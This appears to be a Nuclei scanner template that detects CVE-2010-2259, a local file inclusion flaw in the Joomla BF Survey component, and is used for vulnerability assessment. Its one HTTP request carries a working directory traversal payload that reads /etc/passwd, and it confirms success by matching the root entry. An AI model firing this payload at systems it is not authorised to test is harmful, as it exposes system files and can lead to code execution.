id: CVE-2010-2259

info:
  name: Joomla! Component com_bfsurvey - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the BF Survey (com_bfsurvey) component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/10946
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2259
    - http://www.exploit-db.com/exploits/10946
    - http://www.tamlyncreative.com.au/software/forum/index.php?topic=641.0
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2259
    cwe-id: CWE-22
    epss-score: 0.18524
    epss-percentile: 0.96878
    cpe: cpe:2.3:a:tamlyncreative:com_bfsurvey_profree:1.2.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tamlyncreative
    product: com_bfsurvey_profree
  tags: cve,cve2010,joomla,lfi,edb,tamlyncreative,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_bfsurvey&controller=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100805716f69b3943e4b590bb08e232d5ff773947339ad3b9e51fec288b9901f49c02210081a51437008921b02cf15588e2116f36477ea367dbb6031677ba6433c654f003:922c64590222798bb761d5b6d8e72950